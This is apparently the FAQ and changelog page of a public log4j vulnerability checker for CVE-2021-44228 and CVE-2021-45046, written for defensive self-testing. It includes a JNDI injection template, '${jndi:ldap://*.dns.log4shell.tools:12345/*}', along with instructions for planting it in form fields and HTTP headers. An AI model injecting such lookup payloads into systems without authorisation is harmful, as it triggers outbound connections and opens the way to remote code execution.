This tool allows you to run a test to check whether one of your applications is affected by the recent vulnerabilities in log4j: CVE-2021-44228 and CVE-2021-45046. When you hit 'Start', the tool will generate a unique JNDI URI for you to enter anywhere you suspect it might end up being processed by log4j. If log4j triggers so much as a DNS lookup, this tool will tell you about it.
You may only use this tool on machines that you have permission to test on.
Changelog
When significant changes are made to the functionality of the tool, I'll post an update here.
2021-12-14
The tool now supports detection through DNS. The
jndi:ldap:// URI that is generated for your unique test
ID now also contains a unique *.dns.log4shell.tools name.
With that, the first signs of information leak vulnerability already appear
when log4j performs a DNS lookup, before even connecting to the LDAP
server. This should significantly reduce the number of false
negatives when testing on machines that don't directly have access
to the internet or can't connect to log4shell.tools for some other
reason.
Newly generated LDAP JNDI URI's now use this feature by default. There's a dedicated jndi:dns:// option as well.
FAQ
Here's a short list of frequently asked questions. If yours is not answered here, feel free to reach out.
What is CVE-2021-44228?
CVE-2021-44228 is a vulnerability in the popular log4j library by Apache. In the worst case, it allows bad actors to execute code on any server where they're able to get log4j to process a malicious log message.
If you're using log4j or a product that depends on log4j, you should act on this immediately.
Can I use this tool to test for CVE-2021-45046 as well?
Yes.
What can I do to protect myself?
Please read the official advisory from Apache: https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0.
What does this tool do?
The tool generates a unique ID for you to test with. After you click start, we'll generate a piece of text for you that looks similar to this: ${jndi:ldap://*.dns.log4shell.tools:12345/*}. Copy it and paste it anywhere you suspect it might end up getting passed through log4j. For example: search boxes, form fields or HTTP headers.
Once an outdated version of log4j sees this string, it will perform a DNS lookup to get the IP address of *.dns.log4shell.tools. If this happens, it is considered the first sign of vulnerability to information leakage. Next, it will attempt and LDAP search request to log4shell.tools:12345. The tool responds with a Java class description, along with a URL for where to obtain it. Log4j may even attempt to fetch the class file. The tool will return a 404 and conclude the test.
Am I safe if the tool doesn't report anything after the test?
Not necessarily. If the machine you're testing on does not have access to the internet or can't reach log4shell.tools for some other reason, the results will not be accurate. The tool is only meant to give you a rough assessment of what someone with no special access to your environment would be able to do.
The only way to make sure you're safe, is to start applying patches.
Is there any chance that the tool reports a false positive?
The DNS lookup detection feature may result in a false positive in some cases. For example, this can happen if the environment you're testing has some other tooling that is examining the logs or the traffic on the network. If the tooling finds anything suspicious, it may perform a DNS lookup as part of its analysis. This will lead us to believe that we triggered a lookup in log4j, while that was actually not the case.
Isn't releasing such a tool to the public dangerous?
I believe in arming the public with the same tools that the bad actors we're up against already have. Especially in this case where the vulnerability is so trivial to exploit. Anyone with some decent Google-fu will be able to find a full PoC (including RCE) within minutes. The goal is to contribute to leveling the playing field by allowing anyone to perform a rough assessment of how vulnerable they are to this log4j vulnerability.
Especially if your product runs on a service where you don't have enough access to update log4j or change its options, a test result from a tool like this might be enough to get the attention of the right people.
Does this tool perform RCE (remote code execution)?
No. It runs the exploit right up until your device requests the RCE payload, then it returns a 404 and concludes the test.
What is the privacy policy?
The tool stores test results, IP addresses and PTR records of the servers that reach out to it. All test results and any information collected along with it is automatically permanently deleted after 24 hours.
No information is shared with third parties. To ensure the privacy of your test results, do not share your unique test ID with anyone else.
Is this tool open source?
Yes! The code is available on GitHub: https://github.com/alexbakker/log4shell-tools.
Is this tool affiliated with the Apache Software Foundation?
No.
I have another question / found an issue. How can I contact you?
Feel free to send me an email. If you're reporting a security issue, please don't discuss it in public before I've had an opportunity to fix it.